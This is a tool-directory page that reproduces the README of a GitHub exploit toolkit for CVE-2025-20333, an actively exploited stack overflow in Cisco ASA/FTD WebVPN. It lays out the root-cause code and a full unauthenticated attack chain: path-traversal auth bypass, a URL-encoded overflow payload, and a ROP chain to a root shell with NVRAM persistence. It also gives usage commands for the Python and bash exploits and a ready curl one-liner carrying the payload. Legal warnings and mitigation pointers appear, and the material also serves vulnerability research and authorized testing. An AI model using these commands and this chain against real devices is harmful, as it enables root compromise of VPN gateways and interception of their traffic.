Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-20333 β€” Complete research and exploitation toolkit for CVE-2025-20333, a critical stack buffer overflow in Cisco ASA/FTD WebVPN. Includes detailed binary analysis, PoC exploits in Python and bash, and exploitation guide. | Kitploit
Tools/GitHubGitHub/cobbbex/cve-2025-20333
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingBinary Exploitation
GitHubcobbbex/cve-2025-20333

cve-2025-20333

Complete research and exploitation toolkit for CVE-2025-20333, a critical stack buffer overflow in Cisco ASA/FTD WebVPN. Includes detailed binary analysis, PoC exploits in Python and bash, and exploitation guide.

View Repository
502 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    951
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    683
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    427
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    392
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    344
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    336

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2025-20333 - Complete Research & Exploitation Toolkit

Overview

This directory contains comprehensive research, analysis, and proof-of-concept code for CVE-2025-20333, a critical stack buffer overflow vulnerability in Cisco ASA/FTD WebVPN servers.

Status: ⚠️ Actively exploited in the wild (ArcaneDoor campaign)
CVSS Score: 9.8 Critical
Authenticated: No (bypassed via CVE-2025-20362)
Impact: Remote Code Execution as root


Contents

πŸ“š Documentation

CVE-2025-20333-RESEARCH-NOTES.md (20 KB)

Complete reverse engineering research

  • Vulnerability context & web intelligence
  • Binary analysis (ASA 9.12.4.x lina process)
  • Request-ingestion layer audit
  • Lua API bindings analysis
  • 🎯 Overflow discovery (body_lexer.re2c, FUN_0302e690)
  • Attack chain breakdown
  • Root cause analysis with code patterns
  • Tool & address reference table

Key Finding:

Fixed 16-byte buffer (local_58[16]) in body_lexer.re2c
URL-decoding loop has NO BOUNDS CHECK
Writing to local_58[iVar11] without checking iVar11 < 16
After 8 hex pairs: overflow β†’ stack corruption β†’ RCE

EXPLOITATION-GUIDE.md (12 KB)

Practical exploitation manual

  • Vulnerability mechanics explained
  • Complete attack chain (CVE-2025-20362 bypass + overflow)
  • Step-by-step exploitation walkthrough
  • Payload crafting techniques
  • Network-based detection methods
  • Host-based detection & log analysis
  • Mitigation strategies
  • Patched versions & upgrade path
  • Legal & ethical considerations

πŸ”§ Proof of Concept Exploits

cve-2025-20333-poc.py (15 KB)

Full-featured Python exploit

Features:

  • Automatic payload generation
  • CVE-2025-20362 path traversal integration
  • ROP gadget chain construction
  • SSL/TLS support
  • Configurable timeout
  • Detailed progress reporting

Usage:

# Show vulnerability details
python3 cve-2025-20333-poc.py --details

# Exploit target
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Custom settings
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8.5 KB)

Lightweight bash exploit

Features:

  • No Python dependency
  • Uses curl or netcat
  • Minimal resource footprint
  • Educational comments
  • Clear status output

Usage:

# Show details
./cve-2025-20333-poc.sh --details

# Exploit
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manual with curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Vulnerability Summary

Quick Facts

PropertyValue
CVE IDCVE-2025-20333
TypeStack Buffer Overflow (CWE-120)
Componentbody_lexer.re2c (FUN_0302e690)
Affected VersionsASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.19.8 (Critical)
AuthenticationNot required (via CVE-2025-20362)
User InteractionNone
ImpactRCE as root, full system compromise
StatusActively exploited (May 2025+)
Responsible DisclosureCisco patched; advisory published

Root Cause

// body_lexer.re2c - URL-decoding loop
byte local_58[16];  // ← Fixed 16-byte buffer

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← NO BOUNDS CHECK!
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

Overflow Trigger: 9+ consecutive %XX sequences in POST body

Attack Chain

1. Attacker (NO AUTH required)
   ↓
2. HTTP POST to /+CSCOU+/../+CSCOE+/files/file_list.json
   β”œβ”€ CVE-2025-20362: Path traversal bypasses auth check
   └─ Reaches files_retr.lua endpoint (auth_flag = 0)
   ↓
3. POST body: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ URL-encoded pairs)
   ↓
4. body_lexer.re2c processes POST body
   β”œβ”€ Accumulates hex pairs into local_58[16]
   └─ After 8 pairs: OVERFLOW!
   ↓
5. Stack corruption
   β”œβ”€ Overwrites local_48, local_40
   β”œβ”€ Overwrites saved RBP
   └─ Overwrites saved RIP (return address)
   ↓
6. Control flow hijack
   β”œβ”€ RIP points to ROP gadgets
   β”œβ”€ ROP chain sets up execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE as root (lina process runs as root)
   β”œβ”€ Full VPN server compromise
   β”œβ”€ Access to all VPN traffic
   └─ Persistence via NVRAM modification

Research Process

Phase 1: Binary Analysis βœ…

  • Opened lina binary in Ghidra
  • Mapped WebVPN request architecture (HTTP parser, URL router, 13 endpoint hooks)
  • Audited request-ingestion layer (all safe via clString/exact-size allocs)
  • Examined Lua API bindings (all safe)

Phase 2: Web Intelligence βœ…

  • Searched for CVE-2025-20333 technical details
  • Found Rapid7, Zscaler, Horizon3, Tenable analysis
  • Confirmed attack chain uses /+CSCOU+/../+CSCOE+/files/file_list.json
  • Identified root cause: heap-based (web sources) / stack-based (this binary) overflow in Lua endpoint

Phase 3: Targeted Reversing βœ…

  • Decompiled body_lexer.re2c (FUN_0302e690)
  • FOUND: Fixed 16-byte buffer local_58[16] with no bounds checking
  • Confirmed overflow path: URL-decoding loop β†’ unbounded write
  • Verified reachability: files_retr.lua β†’ body_lexer β†’ stack overflow

Phase 4: Exploit Development βœ…

  • Created Python PoC with ROP chain support
  • Created bash PoC for minimal environments
  • Documented payload structure and crafting techniques
  • Included detection & mitigation guidance

Usage Instructions

For Authorized Penetration Testing

  1. Verify Authorization

    • Obtain written permission to test
    • Confirm target system details (IP, port, version)
    • Document scope and timeline
  2. Run Exploit

    # Quick check: Does target respond to exploit attempt?
    python3 cve-2025-20333-poc.py <target_ip>
    
    # Or bash version:
    ./cve-2025-20333-poc.sh <target_ip>
    
  3. Verify Exploitation

    • Check for shell access / reverse shell connection
    • Examine system logs for crashes or anomalies
    • Scan for modified files (NVRAM, persistent backdoor)
  4. Document Findings

    • Record target version, patch level
    • Document exploitation success/failure
    • Note any defensive measures encountered
    • Report to client with remediation recommendations

For Security Research

  1. Read Research Notes

    • Study CVE-2025-20333-RESEARCH-NOTES.md
    • Understand binary architecture and overflow mechanism
  2. Study PoCs

    • Review Python PoC for ROP gadget construction
    • Review bash PoC for minimal exploit
    • Understand payload encoding
  3. Adapt & Extend

    • Add custom shellcode
    • Implement different exploitation techniques
    • Test on patched vs. vulnerable versions

Important Warnings

⚠️ LEGAL NOTICE

This toolkit is provided for authorized security testing only.

  • DO NOT use against systems without explicit written permission
  • DO NOT use for malicious purposes (data theft, service disruption, ransomware)
  • Unauthorized access violates the Computer Fraud and Abuse Act (USA) and similar laws worldwide
  • Penalties include criminal prosecution, fines, and imprisonment

βœ… Authorized Use:

  • Penetration tests with written approval
  • Proof-of-concept during vulnerability research
  • Internal security testing
  • CTF competitions
  • Academic research
Download Tool